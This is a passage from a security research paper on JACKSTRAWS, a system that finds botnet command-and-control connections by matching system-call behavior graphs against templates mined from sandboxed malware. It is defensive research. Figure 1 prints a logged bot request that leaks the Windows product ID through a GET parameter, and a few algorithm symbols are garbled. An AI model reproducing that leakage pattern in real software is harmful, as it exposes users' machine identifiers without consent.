typical approach to build detection models for C&C traf-
fic and to identify C&C endpoints (IP addresses and do-
mains of C&C servers) is to execute a bot in a controlled
environment and monitor its outgoing network connec-
tions. Using the bot traffic, one can then craft signa-
tures that match C&C connections or blacklist the IP
addresses or domains that the packets are sent to. Un-
fortunately, this process is not as easy as it seems. For
example, bots often open a large number of additional
connections to legitimate sites (to perform click fraud
or query for the current time), and bots can deliberately
produce “noise” – bogus connections that make the anal-
ysis more difficult. Thus, before one can build a model
for C&C traffic or blacklist IP addresses and domains,
one first has to pick the C&C connections among all the
network traffic that a bot produces.

In this paper, we present JACKSTRAWS, a system that
accurately identifies C&C connections. To this end, we
leverage host-based information that provides insights
into which data is sent over each network connection as
well as the ways in which a bot processes the informa-
tion that it receives. More precisely, we associate with
each network connection a behavior graph that captures
the system calls that lead to this connection, as well as
the system calls that operate on data that is returned.
By using machine learning techniques and a training
set of graphs that are associated with known C&C con-
nections, we automatically extract and generalize graph
templates that capture the core of different types of C&C
activity. Later, we use these C&C templates to match
against behavior graphs produced by other bots. Our
results show that JACKSTRAWS can accurately detect
C&C connections, even for novel bot families that were
not used for template generation.

1 Introduction
Malware is a significant threat and root cause for many
security problems on the Internet, such as spam, dis-

tributed denial of service attacks, data theft, or click
fraud. Arguably the most common type of malware
today are bots. Compared to other types of malware,
the distinguishing characteristic of bots is their abil-
ity to establish a command and control (C&C) channel
that allows an attacker to remotely control and update a
compromised machine. A number of bot-infected ma-
chines that are combined under the control of a single
entity (called the botmaster) are referred to as a bot-
net [7, 8, 14, 37].

Researchers and security vendors have proposed
many different host-based or network-based techniques
to detect and mitigate botnets. Host-based detectors
treat bots like any other type of malware. These sys-
tems (e.g., anti-virus tools) use signatures to scan pro-
grams for the presence of well-known, malicious pat-
terns [43], or they monitor operating system processes
for suspicious activity [26]. Unfortunately, current tools
suffer from low detection rates [4], and they often in-
cur a non-negligible performance penalty on end users’
machines. To complement host-based techniques, re-
searchers have explored network-based detection ap-
proaches [15–18, 34, 41, 45, 49]. Leveraging the insight
that bots need to communicate with their command and
control infrastructure, most network-based botnet detec-
tors focus on identifying C&C communications.

Initially, models that match command and control
traffic were built manually [15, 17]. To improve and
accelerate this slow and tedious process, researchers
proposed automated model (signature) generation tech-
niques [34, 45]. These techniques share a similar work
flow (a work flow that, interestingly, was already used
in previous systems to extract signatures for spreading
worms [25,27,29,31,39]): First, one has to collect traces
of malicious traffic, typically by running bot samples
in a controlled environment. Second, these traces are
checked for strings (or token sequences) that appear fre-
quently, and can thus be transformed into signatures.

While previous systems have demonstrated some suc-
cess with the automated generation of C&C detectors
based on malicious network traces, they suffer from



444 20th USENIX Security Symposium USENIX Association

three significant shortcomings: The first problem is that
bots do not only connect to their C&C infrastructure, but
frequently open many additional connections. Some of
the additional connections are used to carry out mali-
cious activity (e.g., scanning potential victims, sending
spam, or click fraud). However, in other cases, the traffic
is not malicious per se. For example, consider a bot that
connects to a popular site to check the Internet connec-
tivity, or a bot that attempts to obtain the current time or
its external IP address (e.g., local system settings are un-
der the control of researchers who might try to trick mal-
ware and trigger certain behaviors; they are thus unreli-
able from the bot perspective [19, 35]). In most of these
cases, the malware traffic is basically identical to traffic
produced by a legitimate client. Of course, one can use
simple rules to discard some of the traffic (scans, spam),
but other connections are much harder to filter; e.g., how
to distinguish a HTTP-based C&C request from a re-
quest for an item on a web site? Thus, there is a signif-
icant risk that automated systems produce models that
capture legitimate traffic. Unfortunately, a filtering step
can remove such models only to a certain extent.

To highlight the difficulty of finding C&C connections
in bot traffic, we report on the analysis of a database that
was given to us by a security company. This database
contains network traffic produced by malware samples
run in a dynamic analysis environment. Over a period
of two months (Sept./Oct. 2010), this company ana-
lyzed 153,991 malware samples that produced a total
of 593,012 connections, after removing all empty and
scan-related traffic. A significant majority (87.9%) of
this traffic was HTTP, followed by mail traffic (3.8%)
and small amounts of a wide variety of other protocols
(including IRC). The company used two sets of signa-
tures to analyze their traffic: One set matches known
C&C traffic, the other set matches traffic that is known
to be harmless. This second set is used to quickly discard
from further analysis connections that are known to be
unrelated to any C&C activity. Such connections include
accesses to ad networks, search engines, or games sites.
Using these two signature sets, we found 109,600 mali-
cious C&C connections (18.5%), but also 69,211 benign
connections (11.7%). The remaining 414,201 connec-
tions (69.8%) were unknown; they did not match any
signature, and thus, likely consist of a mix of malicious
and harmless traffic. This demonstrates that it is chal-
lenging to distinguish between harmless web requests
and HTTP-based C&C connections.

The second problem with existing techniques is that
attackers can confuse automated model (signature) gen-
eration systems: previous research has presented “noise
injection” attacks in which a malware crafts additional
connections with the sole purpose to thwart signature
extraction techniques [10, 11, 33]. A real-world exam-

ple for such a behavior can be found in the Pushdo mal-
ware family, where bots, in certain versions, create junk
SSL connections to more than 300 different web sites to
blend in with benign traffic [1].

The third problem is that existing techniques do not
work when the C&C traffic is encrypted. Clearly, it is
not possible to extract a content signature to model en-
crypted traffic. However, even when the traffic is en-
crypted, it would be desirable to add the C&C server
destinations to a blacklist or to model alternative net-
work properties that are not content-based. For this, it is
necessary to identify those encrypted malware connec-
tions that go to the C&C infrastructure and distinguish
them from unrelated but possibly encrypted traffic, such
as legitimate, SSL-encrypted web traffic.

The root cause for the three shortcomings is that ex-
isting approaches extract models directly from network
traces. Moreover, they do so at a purely syntactic level.
That is, model generation systems simply select ele-
ments that occur frequently in the analyzed network traf-
fic. Unfortunately, they lack “understanding” of the
purpose of different network connections. As a result,
such systems often generate models that match irrele-
vant, non-C&C traffic, and they incorrectly consider de-
coy connections. Moreover, in the case of encrypted
traffic, no frequent element can be found at all.

To solve the aforementioned problems, we propose an
approach to detect the network connections that a mal-
ware program uses for command and control, and to dis-
tinguish these connections from other, unrelated traffic.
This allows us to immediately consider the destination
hosts/domains for inclusion in a blacklist, even when the
corresponding connections are encrypted. Moreover, we
can feed signature generation systems with only C&C
traffic, discarding irrelevant connections and making it
much more difficult for the attacker to inject noise.

We leverage the key observation that we can use host-
based information to learn more about the semantics of
network connections. More precisely, we monitor the
execution of a malware process while it communicates
over the network. This allows us to determine, for each
request, which data is sent over the network and where
this data comes from. Moreover, we can determine how
the program uses data that it receives over the network.
Using this information, we can build models that cap-
ture the host-based activity associated with individual
network connections. Our models are behavior graphs,
where the nodes are system calls and the edges represent
data flows between system calls.

We use machine-learning to build graph-based models
that characterize malicious C&C connections (e.g., con-
nections that download binary updates that the malware
later executes, or connections in which the malware up-
loads stolen data to a C&C server). More precisely, start-
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ing from labeled sets of graphs that are related to both
known C&C connections and other, irrelevant malware
traffic, we identify those subgraphs that are most char-
acteristic of C&C communication. In the next step, we
abstract from these specific subgraphs and produce gen-
eralized graph templates. Each graph template captures
the core characteristics of a different type or implemen-
tation of C&C communication. These graph templates
can be used to recognize C&C connections of bots that
have not been analyzed previously. Moreover, our tem-
plates possess explanatory capabilities and can help ana-
lysts to understand how a particular bot utilizes its C&C
channel (e.g., for binary updates, configuration files, or
information leakage).

Our experiments demonstrate that our system can
generate C&C templates that recognize host-based ac-
tivity associated with known, malicious traffic with high
accuracy and very few false positives. Moreover, we
show that our templates also generalize; that is, they de-
tect C&C connections that were previously unknown.
The contributions of this paper are the following:

• We present a novel approach to identify C&C com-
munication in the large pool of network connec-
tions that modern bots open. Our approach lever-
ages host-based information and associates mod-
els, which are based on system call graphs, with the
data that is exchanged over network connections.

• We present a novel technique that generalizes sys-
tem call graphs to capture the “essence” of, or
the core activities related to, C&C communication.
This generalization step extends previous work on
system call graphs, and provides interesting in-
sights into the purpose of C&C traffic.

• We implemented these techniques in a tool called
JACKSTRAWS and evaluated it on 130,635 connec-
tions produced by more than 37 thousands malware
samples. Our results show that the generated tem-
plates detect known C&C traffic with high accu-
racy, and less than 0.2% false positives over harm-
less traffic. Moreover, we found 9,464 previously-
unknown C&C connections, improving the cover-
age of hand-crafted network signatures by 60%.

2 System Overview
Our system monitors the execution of a malware pro-
gram in a dynamic malware analysis environment (such
as Anubis [20], BitBlaze [40], CWSandbox [44], or
Ether [9]). The goal is to identify those network con-
nections that are used for C&C communication. To this
end, we record the activities (in our case, system calls)
on the host that are related to data that is sent over and
received through each network connection. These activ-
ities are modeled as behavior graphs, which are graphs
that capture system call invocations and data flows be-

network: connect
port: 80

network: send
 
 

 arg: socket=Result
  

network: recv
 
 

 arg: socket=Result
  

systemcall: NtQueryValueKey
Valuename: ProductId

 

 arg: buf=KeyValueInformation
  

systemcall: NtOpenKey
Keyname: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

 

 arg: KeyHandle=KeyHandle
  

systemcall: NtOpenKey
Keyname: \REGISTRY\MACHINE

 

 arg: ObjectAttributes=KeyHandle
  

GET /bot/doit.php?v=3&id=ec32632b-29981-349-398...

Figure 1: Example of behavior graph that shows infor-
mation leakage. Underneath, the network log shows that
the Windows ID was leaked via the GET parameter id.

tween system calls. In our setting, one graph is asso-
ciated with each connection. As the next step, all be-
havior graphs that are created during the execution of a
malware sample are matched against templates that rep-
resent different types of C&C communication. When a
graph matches a template sufficiently closely, the corre-
sponding connection is reported as C&C channel.

In the following paragraphs, we first discuss behavior
graphs. We then provide an overview of the necessary
steps to generate the C&C templates.
Behavior graphs. A behavior graph G is a graph where
nodes represent system calls. A directed edge e is in-
troduced from node x to node y when the system call
associated with y uses as argument some output that is
produced by system call x. That is, an edge represents a
data dependency between system calls x and y. Behav-
ior graphs have been introduced in previous work as a
suitable mechanism to model the host-based activity of
(malware) programs [5,13,26]. The reason is that system
calls capture the interactions of a program with its envi-
ronment (e.g., the operating system or the network), and
data flows represent a natural dependence and ordered
relationship between two system calls where the output
of one call is directly used as the input to the other one.

Figure 1 shows an example of a behavior graph. This
graph captures the host-based activity of a bot that reads
the Windows serial number (ID) from the registry and
sends it to its command and control server. Frequently,
bots collect a wealth of information about the infected,
local system, and they send this information to their
C&C servers. The graph shows the system calls that are
invoked to open and read the Windows ID key from the
registry. Then, the key is sent over a network connec-
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tion (that was previously opened with connect). An
answer is finally received from the server (recv node).

While behavior graphs are not novel per se, we use
them in a different context to solve a novel problem. In
previous work, behavior graphs were used to distinguish
between malicious and benign program executions. In
this work, we link behavior graphs to network traffic and
combine these two views. That is, we use these graphs
to identify command and control communication amidst
all connections that are produced by a malware sample.
C&C templates. As mentioned previously, the behav-
ior graphs that are produced by our dynamic malware
analysis system are matched against a set of C&C tem-
plates. C&C templates share many similarities with be-
havior graphs. In particular, nodes n carry information
about system call names and arguments encoded as la-
bels ln, and edges e represent data dependencies where
the type of flow is encoded as labels le. The main differ-
ence to behavior graphs is that the nodes of templates are
divided into two classes; core and optional nodes. Core
nodes capture the necessary parts of a malicious activity,
while optional nodes are only sometimes present.

To match a C&C template against a behavior graph G,
we define a similarity function δ. This function takes as
input the behavior graph G and a C&C template T and
produces a score that indicates how well G matches the
template. All core nodes of a template must at least be
present in G in order to declare a match.
Template generation. Each C&C template represents
a certain type of command and control activity. We use
the following four steps to generate C&C templates:

In the first step, we run malware executables in our
dynamic malware analysis environment, and extract the
behavior graphs for their network connections. These
connections can be benign or related to C&C traffic.

JACKSTRAWS requires that some of these connections
are labeled as either malicious or benign (for training).
In our current system, we apply a set of signatures to
all connections to find (i) known C&C communication
and (ii) traffic that is known to be unrelated to C&C.
Note that we have signatures that explicitly identify be-
nign connections as such. The signatures were manually
constructed, and they were given to us by a network se-
curity company. By matching the signatures against the
network traffic, we find a set of behavior graphs that are
associated with known C&C connections (called mali-
cious graph set) and a set of behavior graphs associated
with non-C&C traffic (called benign graph set). These
sets serve as the basis for the subsequent steps.

It is important to observe that our general approach
only requires labeled connections, without considering
the payload of network connections. Thus, we could use
other means to generate the two graph sets. For exam-
ple, we can add a graph to the malicious set if the net-

work connection corresponding to this graph contacted
a known blacklisted C&C domain. This allows us to
create suitable graph sets even for encrypted C&C con-
nections. One could also manually label connections.

Of course, there are also graphs for which we do not
have a classification (that is, neither a C&C signature nor
a benign signature has matched). These unknown graphs
could be related to either malicious or benign traffic, and
we do not consider them in the subsequent steps.

The second step uses the malicious and the benign
graph sets as inputs and performs graph mining. More
precisely, we use a graph mining technique, previously
presented by Yan and Han [47,48], to identify subgraphs
that frequently appear in the malicious graph set. These
frequent subgraphs are likely to constitute the core activ-
ity linked to C&C connections. Some post-processing is
then applied to compact the set of mined subgraphs. Fi-
nally, the set difference is computed between the mined,
malicious subgraphs and the benign graph set. Only
subgraphs that never appear by subgraph isomorphism
in the benign graph set are selected. The assumption
is that the selected subgraphs represent some host- and
network-level activity that is only characteristic of par-
ticular C&C connections, but not benign traffic.

In [13], the authors used a similar approach to distin-
guish between malware and harmless programs. To this
end, the authors used a leap mining technique presented
by Yan et al. [46] that selects subgraphs which maximize
the information gain between the malicious and benign
graph sets, that is to say subgraphs that maximally cover
(detect) the entire collection of malicious graphs while
introducing a very low number of false positives. How-
ever, during the mining process, this technique tends to
remove the graph parts that could be common to both
benign and malicious graphs. In our present case, these
parts are critical to obtain complete C&C templates. For
example, in the case of a download and execute com-
mand, if the download part of the graph is observed in
the benign set, leap mining would only mine the execute
part. For these reasons, we performed the set difference
with the benign graph set only as post-processing, once
complete malicious subgraphs have already been mined,
without risk of losing parts of them.

In addition, the algorithm proposed in [13] does not
attempt to synthesize any semantic information from the
mined behaviors; it does not produce a template that
combines related behaviors and generalizes their com-
mon core. In other words [13], “this synthesis step does
not add new behaviors to the set, it only combines the
ones previously mined.” In this paper, we go further and
introduce two additional, novel steps to generalize the
results obtained during the graph mining step. This is
important because we want to generalize from specific
instances of implementing a C&C connection and ab-
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stract a core that characterizes the common and neces-
sary operations for a particular type of command.

As a third step, we cluster the graphs previously
mined. The goal of this step is to group together graphs
that correspond to a similar type of command and con-
trol activity. That is, when we have observed differ-
ent instances of one particular behavior, we combine
the corresponding graphs into one cluster. As an ex-
ample, consider different instances of a malware family
where each sample downloads data from the network via
HTTP, decodes it in some way, stores the data on disk,
and finally executes that file. All instances of this be-
havior are examples for typical bot update mechanisms
(download and execute), and we want to group all of
them into one cluster. As a result of this step, we ob-
tain different clusters, where each cluster contains a set
of graphs that correspond to a particular C&C activity.

In the fourth step, we produce a single C&C template
for each cluster. The goal of a template is to capture the
common core of the graphs in a cluster; with the assump-
tion that this common core represents the key activities
for a particular behavior. The C&C templates are gener-
ated by iteratively computing the weighted minimal com-
mon supergraph (WMCS) [3] between the graphs in a
cluster. The nodes and edges in the supergraph that are
present in all individual graphs become part of the core.
The remaining ones become optional.

At the end of this step, we have extracted templates
that match the core of the program activities for different
types of commands, taking into account optional opera-
tions that are frequently (but not always) present. This
allows us to match variants of C&C traffic that might be
different (to a certain degree) from the exact graphs that
we used to generate the C&C templates.

3 System Details
In this section, we provide an overview of the actual im-
plementation of JACKSTRAWS and explain the different
analysis steps in greater details.

3.1 Analysis Environment
We use the dynamic malware analysis environment Anu-
bis [20] as the basis for our implementation, and imple-
mented several extensions according to our needs. Note
that the general approach and the concepts outlined in
this paper are independent of the actual analysis envi-
ronment; we could have also used BitBlaze, Ether, or
any other dynamic malware analysis environment.

As discussed in Section 2, behavior graphs are used
to capture and represent the host-based activity that mal-
ware performs. To create such behavior graphs, we
execute a malware sample and record the system calls
that this sample invokes. In addition, we identify de-
pendencies between different events of the execution

by making use of dynamic taint analysis [38], a tech-
nique that allows us to asses whether a register or mem-
ory value depends on the output of a certain operation.
Anubis already comes with tainting propagation sup-
port. By default, all output arguments of system calls
from the native Windows API (e.g., NtCreateFile,
NtCreateProcess, etc.) are marked with a unique
taint label. Anubis then propagates the taint information
while the monitored system processes tainted data. Anu-
bis also monitors if previously tainted data is used as an
input argument for another system call.

While Anubis propagates taint information for data in
memory, it does not track taint information on the file
system. In other words, if tainted data is written to a
file and subsequently read back into memory, the origi-
nal taint labels are not restored. This shortcoming turned
out to be a significant drawback in our settings: For ex-
ample, bots frequently download data from the C&C,
decode it in memory, write this data to a file, and later
execute it. Without taint tracking through the file system,
we cannot identify the dependency between the data that
is downloaded and the file that is later executed. Another
example is the use of configuration data: Many malware
samples retrieve configuration settings from their C&C
servers, such as URLs that should be monitored for sen-
sitive data or address lists for spam purposes. Such con-
figuration data is often written to a dedicated file before
it is loaded and used later. Restoring the original taint la-
bels when files are read ensures that the subsequent bot
activity is linked to the initial network connection and
improves the completeness of the behavior graphs.

Finally, we improved the network logging abilities
of Anubis by hooking directly into the Winsock API
calls rather than considering only the abstract interface
(NtDeviceIOControlFile) at the native system
call level. This allows us to conveniently reconstruct
the network flows, since send and receive operations are
readily visible at the higher-level APIs.

3.2 Behavior Graph Generation
When the sample and all of its child processes have ter-
minated, or after a fixed timeout (currently set to 4 min-
utes), JACKSTRAWS saves all monitored system calls,
network-related data, and tainting information into a log
file. Unlike previous work that used behavior graphs
for distinguishing between malicious and legitimate pro-
grams, we use these graphs to determine the purpose of
network connections (and to detect C&C traffic). Thus,
we are not interested in the entire activity of the mal-
ware program. Instead, we only focus on actions related
to network traffic. To this end, we first identify all send
and receive operations that operate on a successfully-
established network connection. In this work, we fo-
cus only on TCP traffic, and a connection is considered
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successful when the three-way handshake has completed
and at least one byte of user data was exchanged. All
system calls that are related to a single network con-
nection are added to the behavior graph for this connec-
tion. That is, for each network connection that a sample
makes, we obtain one behavior graph which captures the
host-based activities related to this connection.

For each send operation, we check whether the sent
data is tainted. If so, we add the corresponding system
call that produced this data to the behavior graph and
connect both nodes with an edge. Likewise, for each
receive operation, we taint the received data and check
if it is later used as input to a system call. If so, we also
add this system call to the graph and connect the nodes.

For each system call that is added to the graph in this
fashion, we also check backward dependencies (that is,
whether the system call has tainted input arguments). If
this is the case, we continue to add the system call(s)
that are responsible for this data. This process is re-
peated recursively as long as there are system calls left
that have tainted input arguments that are unaccounted
for. That is, for every node that is added to our behav-
ior graph, we will also add all parent nodes that produce
data that this node consumes. For example, if received
data is written to a local file, we will add the correspond-
ing NtWriteFile system call to the graph. This write
system call will use as one of its arguments a file han-
dle. This file handle is likely tainted, because it was
produced by a previous invocation of NtCreateFile.
Thus, we also add the node that corresponds to this cre-
ate system call and connect the two nodes with an edge.
On the other hand, forward dependencies are not recur-
sively followed to avoid an explosion in the graph size.

Graph labeling. Nodes and edges that are inserted into
the behavior graph are augmented with additional labels
that capture more information about the nature of the
system calls and the dependencies between nodes. For
edges, the label stores either the names of the input or
the output arguments of the system calls that are con-
nected by a data dependency. For nodes, the label stores
the system call name and some additional information
that depends on the specific type of call. The additional
information can store the type of the resource (files, reg-
istry keys, ...) that a system call operates on as well as
flags such as mode or permission bits. Note that some
information is only stored as comment; this information
is ignored for the template generation and matching, but
is saved for a human analyst who might want to examine
a template.

One important additional piece of information stored
for system calls that manipulate files and registry keys is
the name of these files and keys. However, for these re-
source names, it is not desirable to use the actual string.
The reason is that labels are taken into account during

the matching process, and two nodes are considered the
same only when their labels match. Thus, some type of
abstraction is necessary for labels that represent resource
names, otherwise, graphs become too specific. We gen-
eralize file names based on the location of the file (using
the path name) and its type (typically, based on the file’s
extension). Registry key names are generalized by nor-
malizing the key root (using abbreviations) and replac-
ing random names by a generic format (typically, nu-
merical values). More details about the labeling process
and these abstractions can be found in Appendix A.
Simplifying behavior graphs. One problem we faced
during the behavior graph generation was that certain
graphs grew very large (in terms of number of nodes),
but the extra nodes only carried duplicate information.
For example, consider a bot that downloads an exe-
cutable file. When this file is large, the data will not
be read from the network connection by a single recv
call. Instead, the receive system call might be invoked
many times; in fact, we have observed samples that read
network data one byte at a time. Since every system call
results in a node being added to the behavior graph, this
can increase the number of nodes significantly.

To reduce the number of (essentially duplicate) nodes
in the graph, we introduce a post-processing step that
collapses certain nodes. The purpose of this step is
to combine multiple nodes, sharing the same label and
dependencies. More precisely, for each pair of nodes
with an identical label in the behavior graph, we check
whether (1) the two nodes share the same set of parent
nodes, or (2) the sets of parents and children of one node
are respective subsets of the other, or (3) one node is the
only parent of the other. If this is the case, we collapse
these nodes into a single node and add a special tag Is-
Multiple to the label. Additional incoming and outgoing
edges of the aggregated nodes are merged into the new
node. The process is repeated until no more collapsing
is possible. As an example, consider the case where a
write file operation stores data that was previously read
from the network by multiple receive calls. In this case,
the write system call node will have many identical par-
ent nodes (the receive operations), which all contribute
to the buffer that is written. In the post-processing step,
these nodes are all merged into a single system call. A
beneficial side-effect of node collapsing is that this does
not only reduce the number of nodes, but also provides
some level of abstraction from the concrete implementa-
tion of the malware code and the number of times iden-
tical functions are called (as part of a loop, for example).
Summary. The output of the two previous steps is one
behavior graph for each network connection that a mal-
ware sample makes. Behavior graphs can be used in two
ways: First, we can match behavior graphs, produced
by running unknown malware samples, against a set
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of C&C templates that characterize malicious activity.
When a template matches, the corresponding network
connection can be labeled as command and control. This
matching procedure is explained in Section 3.6.

The second use of behavior graphs is for C&C tem-
plate generation. For this process, we assume that we
know some connections that are malicious and some that
are benign. We can then extract the subgraphs from
the behavior graphs that are related to known malicious
C&C connections and subgraphs that represent benign
activity. These two sets of malicious and benign graphs
form the input for the template generation process that
is described in the following three sections.

3.3 Graph Mining
The first step when generating C&C templates is graph
mining. More precisely, the goal is to mine frequent sub-
graphs that are only present in the malicious set. An
overview of the process can be seen in Figure 2.

Figure 2: Mining process.

Frequent subgraphs are those that appear in more than
a fraction k of all malicious graphs. When k is too high,
we might miss many interesting behaviors (subgraphs)
that are not frequent enough to exceed this threshold.
When k is too low, more behaviors are covered, but un-
fortunately, the mining process will produce such a mas-
sive amount of graphs that it never terminates. We dis-
cuss the concrete choice of k in Section 4.

Frequent subgraph mining. There exist a number of
tools that can be readily used for mining frequent sub-
graphs. For this paper, we decided to use gSpan [47, 48]
because it is stable, and supports labeled graphs, both at
the node and edge level. gSpan relies on a lexicographic
ordering of graphs and uses a depth-first search strategy
to efficiently mine frequent, connected subgraphs.

A limitation of gSpan is that it only supports undi-
rected edges, whereas behavior graphs are, by nature,
directed since the edges represent data flows. To work
around this limitation and produce directed subgraphs,
we encode the direction of edges into their labels, and
then restore the direction information at the end of the
mining process. Moreover, gSpan accepts only numeric
values as labels for nodes and edges. Thus, we cannot
directly use the string labels (names or flags) that are as-

sociated with nodes and edges in the behavior graphs.
To solve this, we simply concatenate all string labels of
a node or edge and hash the result. Then, this hash value
is mapped into a unique integer.
Subgraph maximization. The output produced by
gSpan contains many graphs that are subgraphs of oth-
ers. The reason is that gSpan works by growing sub-
graphs. That is, it first looks for individual nodes that
are frequent. Then, gSpan adds one additional node and
re-runs the frequency checks. This add-and-check pro-
cess is repeated until no more frequent graphs can be
found. However, during this process, gSpan outputs all
subgraphs that are frequent. Thus, the result of the min-
ing step contains all intermediate subgraphs whose fre-
quency is above the selected threshold.

Unfortunately, these redundant, intermediate sub-
graphs negatively affect the subsequent template gener-
ation steps because they distort the frequencies of nodes
and edges. To solve this problem, we introduce a max-
imization step. The purpose of this step is to remove
a subgraph Gsub if there exists a supergraph Gsuper in
the same result set that contains Gsub. Looking at Fig-
ure 2, the result of the maximization step is that all 2-
node graphs are removed because they are subgraphs of
the 3-node graphs. However, removing subgraphs is not
always desirable: even when both a subgraph Gsub and
a supergraph Gsuper exceed the frequency threshold k,
the subgraph Gsub might be much more frequent than
Gsuper. In this case, both graphs should be kept. To
this end, we only remove a subgraph Gsub when its fre-
quency is less than twice the frequency of Gsuper.
Graph sets difference. So far, we have mined graphs
that frequently appear in the malicious set. However, we
also require that these graphs do not appear in the benign
set. Otherwise, they would not be suitable to distinguish
C&C connections from other traffic.

To remove graphs that are present in the benign set,
we compute the set difference between the frequent ma-
licious subgraphs and benign graphs. More precisely, we
use a sub-isomorphism test to determine, for each mali-
cious graph, whether it appears in some benign graphs.
If this is the case, it is removed from the mining results.
Looking at the example in Figure 2, the set difference
removes one graph that also appears in the benign set.
As an interesting technical detail, our approach of using
set difference to obtain interesting, malicious subgraphs
is different from the technique presented in [13]. In [13],
the authors use leap mining, which operates simultane-
ously on the malicious and benign sets to find graphs
with a high frequency within the malicious set and a low
frequency within the benign set [46].

By construction, leap mining removes all parts from
the output that are shared between benign and malicious
graphs. For example, consider a behavior graph that cap-
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tures a command that downloads data, stores it to a file,
and later executes this file. If the download part of this
graph is also present in the benign set, which is likely to
be the case (since downloading data is not malicious per
se), this part will be removed. Thus, the malicious graph
will only contain the part where the downloaded file is
executed. That is, in this example, leap mining would
produce an incomplete graph that covers only part of the
relevant, malicious activity. In our case, we first gener-
ate the entire graph that captures both the download and
the execute. Then, the set difference algorithm checks
whether this entire graph occurs also in the benign set.
Since no benign graph is presumably a supergraph of the
malicious behavior, the entire graph is retained.

3.4 Graph Clustering
Using as input the frequent, malicious subgraphs pro-
duced by the previous mining step, the purpose of this
step is to find clusters of similar graphs (see Figure 3).
The graph mining step produces different graphs that
represent different types of behaviors. We now need to
cluster these graphs to find groups, where each group
shares a common core of activities (system calls) typi-
cal of a particular behavior. Graph clustering is used for
this purpose; generated clusters are later used to create
generalized templates covering the graphs they contain.

Figure 3: Clustering and generalization processes.

A crucial component for every clustering algorithm
is the proper choice of a similarity measure that com-
putes the distances between graphs. In our system, the
similarity measure between two graphs is based on their
non-induced, maximum common subgraph (mcs). The
mcs of two graphs is the maximal subgraph that is iso-
morphic to both. The intuition behind the measure is the
following: We expect two graphs that represent the same
malware behavior to share a common core of nodes that
capture this behavior. The mcs captures this core. Thus,
the mcs will be large for similar graphs. From now on,
all references to the mcs will refer to the non-induced
construction. The similarity measure is defined as:

d(G1, G2) =
2× |edges(mcs(G1, G2)|
|edges(G1)|+ |edges(G2)|

(1)

To compute the mcs between two graphs, we use the
McGregor backtracking algorithm [6]. According to

benchmarking results [6], this algorithm performs well
on randomly-connected graphs with small density. In
our case, behavior graphs have no cycles and only a lim-
ited number of dependencies; this is close to randomly-
connected graphs rather than regular or irregular meshes.

As shown in Figure 3, we use the mcs similarity mea-
sure to compute the one-to-one distance matrix between
all mined graphs. We then use a tool, called Cluto [24],
to find clusters of similar graphs. Cluto implements a
variety of different clustering algorithms; we selected
clustering by repeated bisection. This algorithm works
as follows: All graphs are originally put into a single
cluster. This cluster is then iteratively split until the sim-
ilarity in each sub-cluster is larger than a given similarity
threshold [24, 50]. At each step, the cluster to be split is
chosen so that the similarity function between the ele-
ments of that clusters is maximized. The advantage of
this technique is that we do not need to define a fixed
number of clusters a priori. Moreover, one also does not
need to select initial graphs as center to build the clusters
around (as with k-means clustering). The output of this
step is a set of clusters that contain similar graphs.

3.5 Graph Generalization and Templating

Based on the clusters of similar graphs, the final step in
our template generation process is graph generalization
(the rightmost step in Figure 3). The goal of the gen-
eralization process is to construct a template graph that
abstracts from the individual graphs within a cluster. In-
tuitively, we would expect that a template contains a core
of nodes, which are common to all graphs in a cluster.
In addition, to capture small differences between these
graphs, there will be optional nodes attached to the core.

The generalization algorithm computes the weighted
minimal common supergraph (WMCS) of all the graphs
within a given cluster [3]. The WMCS is the minimal
graph such that all the graphs of the cluster are con-
tained within it. To distinguish between core and op-
tional nodes, we use weights. These weights capture
how frequent a node or an edge in the WMCS is present
in one of the individual graphs. For core edges and core
nodes, we expect that they are present in all graphs of a
cluster (that is, their weight is n in the WMCS, assuming
that there are n graphs in the cluster). All other nodes
with a weight smaller than n become optional nodes.

The approach to compute a template is presented in
Algorithm 1. The WMCS is first initialized with the first
graph G1 of the cluster, and the weights of all its nodes
and edges are set to 1. The integration of an additional
graph Gi is performed as follows: We first determine
the maximal common subgraph mcs between Gi and the
current WMCS. The nodes and edges in the WMCS that
are part of the mcs have their weight increased by 1. The
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Algorithm 1 Weighted minimum common supergraph
Require: A graph set G1, ..., Gn

1: WMCS ← G1

2: ∀n ∈ nodes(T ) and e ∈ edges(T ) do wn := 1 and we := 1
3: for i = 2 to n do
4: s := state exploration(�)
5: mcs ← maximum common subgraph(Gi,WMCS, s)
6: ∀n ∈ nodes(mcs) do wn += 1
7: ∀e ∈ edges(mcs) do we += 1
8: ∀n ∈ nodes(Gi) and n �∈ nodes(mcs),

do WMCS.add node(n) and wn := 1
9: ∀e ∈ edges(Gi) and e �∈ edges(mcs),

do WMCS.add edge(e) and we := 1
10: end for
11: return WMCS

nodes and edges in Gi that are not part of the mcs are
added to the WMCS, and their weight is set to 1.

To increase the generality of a template, the labels of
optional nodes are further relaxed. More precisely, our
system preserves the label that stores the name of the
system call. However, all additional information is re-
placed by a wild card that matches every possible, con-
crete parameter later. Finally, we remove all templates
with a core of three or fewer nodes. The reason is that
these templates are likely too small to accurately capture
the entire malicious activity and might lead to false pos-
itives. In the example in Figure 3, core nodes and edges
are shown as dark elements, while the optional elements
are white. We generate one C&C template per cluster.

3.6 Template Matching
The previous steps leveraged machine learning tech-
niques and sets of known malicious and benign graphs to
produce a number of C&C templates. These templates
are graphs that represent host-based activity that is re-
lated to command and control traffic. To find the C&C
connections for a new malware sample, this sample is
first executed in the sandbox, and our system extracts its
behavior graphs (as discussed in Sections 3.1 and 3.2).
Then, we match all C&C templates against the behavior
graphs. Whenever a match is found, the corresponding
connection is detected as command and control traffic,
and we can extract its endpoints (IPs and domains).

The matching technique is described in Algorithm 2.
In a first step, we attempt to determine whether the core
of a template T is present in the behavior graph G. To
this end, we simply use a subgraph isomorphism test.
When the test fails, we know that the core nodes of T
are not part of the graph, and we can advance to trying
the next template. If the core is found, we obtain the
mapping from the core nodes to the corresponding nodes
in G. We then test the optional nodes. To this end, we
compute the mcs between T and G. For this, the fixed
mapping provided by the previous isomorphism test is
used to initialize the space exploration when building the

Algorithm 2 Template matching
Require: A behavior graph G, A template T
1: map ← subgraph isomorphism(core(T ), G)
2: if map = � then
3: return false
4: end if
5: s := state exploration(map)
6: mcs ← maximum common subgraph(G, T, s)
7: return true,mcs

mcs, significantly speeding up the process. Based on the
result of the mcs computation, we can directly see how
many optional nodes have matched, that is to say, are
covered by the mcs. Taking into account the fraction (or
the absolute number) of optional nodes that are found in
G, we can declare a template match.

4 Evaluation
Experiments were performed to evaluate JACKSTRAWS
